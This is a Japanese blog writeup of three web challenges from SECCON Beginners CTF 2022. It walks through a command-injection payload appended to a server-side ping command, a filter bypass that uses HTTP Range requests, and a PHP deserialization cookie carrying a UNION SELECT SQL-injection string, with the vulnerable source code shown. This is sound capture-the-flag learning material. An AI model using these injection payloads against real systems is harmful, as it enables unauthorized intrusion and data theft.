SECCON Beginners CTF 2022 writeup
今回は一緒に働いている方々と参加してきました。
Web3問だけですが、writeup します。
[Web] Util

HTMLのソース(index.html)を見ると、javascriptでsendというメソッドがあり、そこで入力値のチェックをしている。
サーバ側のソース(main.go)を見ると、特に入力値をチェックしていない。
commnd := “ping -c 1 -W 1 ” + param.Address + ” 1>&2″ とあるので、ここにコマンドインジェクションを仕掛ければよいと思われる。
フラグの場所はDockerfileを見ると/flag_<ランダム文字>.txtのようだ。
開発者ツールでsendメソッドを書き換えて、入力チェックをなくした後、
以下のアドレスを入力して、送信すればフラグがゲットできる。
127.0.0.1;cat /flag_*.txt

[Web] gallery

画面を開くとこんな感じ。どうやら拡張子に応じたファイル一覧が列挙されるらしい。

handlers.goを見ると、flagという文字はダメだけど、ファイル名の一部が一致していればヒットするということで、
javascriptでflaが含まれているリストボックスを追加して選択してみることに。

こんな感じでフラグのPDFをGET! ただ、この状態だと、ダウンロードしたファイルはすべて?になっていた。
問題文にあるようにサイズ制限がしてあるっぽい。
main.goに10240byteのサイズ制限がされており、これを超えると?に置換するようになっていた。
なので、Rangeヘッダで2回に分けて取得した。(PDFのサイズは15KBほどだったので。
Firefoxの開発者専用ツールで編集して再送信を2回行って、その結果をそれぞれマージする。
1回目:Range: bytes=0-10239
2回目:Range: bytes=10240-
※firefoxの開発者専用ツールってバイナリの場合、Base64エンコードしてくれるのを初めて知った
※コマンドプロンプトのコピーコマンドでバイナリ結合できるのも初めて知った…
そーすると、PDFが取得できるので、表示してフラグをゲット。

[Web] serial

database.phpを見ると、いかにも怪しいメソッドを発見。
/**
* findUserByName finds a user from database by given userId.
*
* @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
*/
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}
$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);
if (!$result) {
throw new Exception('failed query for findUserByNameOld ' . $sql);
}
while ($row = $result->fetch_assoc()) {
$user = new User($row['id'], $row['name'], $row['password_hash']);
}
return $user;
}
user->nameにいい感じの文字を入れれば、よさそう。
user.phpにあるUserクラスを見ると使えないキーワードがある。(あとでわかるけど、これは全然関係なかった…むしろヒントに近い。
class User
{
private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");
public $id;
public $name;
public $password_hash;
public function __construct($id = null, $name = null, $password_hash = null)
{
$this->id = htmlspecialchars($id);
$this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
$this->password_hash = $password_hash;
}
public function __toString()
{
return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
}
public function isValid()
{
return isset($this->id) && isset($this->name) && isset($this->password_hash);
}
}
問題となるfindUserByNameを使用している箇所は最初のSignUpのところと、
その後の画面操作のloginメソッド。loginメソッドよく見ると、Cookieをbase64デコードして、デシリアライズしている。
その後、SQLを実行して、ハッシュ化されたパスワードが一致していれば、SQLの実行結果をCookieに格納してくれそう。
Userクラスに記載されていた使えないキーワードもデシリアライズでやるなら大丈夫。
function login()
{
if (empty($_COOKIE["__CRED"])) {
return false;
}
$user = unserialize(base64_decode($_COOKIE['__CRED']));
// check if the given user exists
try {
$db = new Database();
$storedUser = $db->findUserByName($user);
} catch (Exception $e) {
die($e->getMessage());
}
// var_dump($user);
// var_dump($storedUser);
if ($user->password_hash === $storedUser->password_hash) {
// update stored user with latest information
// die($storedUser);
setcookie("__CRED", base64_encode(serialize($storedUser)));
return true;
}
return false;
}
というわけでまずは普通にログインして、Cookieを取得。
Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjU6IjE3MDA0IjtzOjQ6Im5hbWUiO3M6NjoicmFrdWhhIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkRTlBanE5ZGoxQVlPeWhFeDVMNkFOdWtsRXpRUFZ0N28ubWpzUjc3UWNpYi91UWo4TUJiVTIiO30%3D
その後、%3Dを=に変えて、base64デコード。
O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:6:"rakuha";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}
各文字列の前に文字数があるので、変更した場合はこの文字数を変えればよさそう。
こんな感じで変更。
O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:136:"rakuha' union select 17004, body, '$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2' from flags where body like 'ctf4b%' -- ";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}
ここで注意してほしいのがflagsテーブルは小文字じゃないとうまくいかないところ。
最初Userクラスでflagが禁止ワードになっていたので、FLAGSとしていたところで結構はまりました。。。
そんなわけで↑で作ったJSONをBase64エンコード。=は%3Dに変えてCookieに設定して、再度リロード。
そうすると、Cookieの内容が変わるので、その内容を取得し、デコードすると、フラグゲット。
O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}
コメントを残す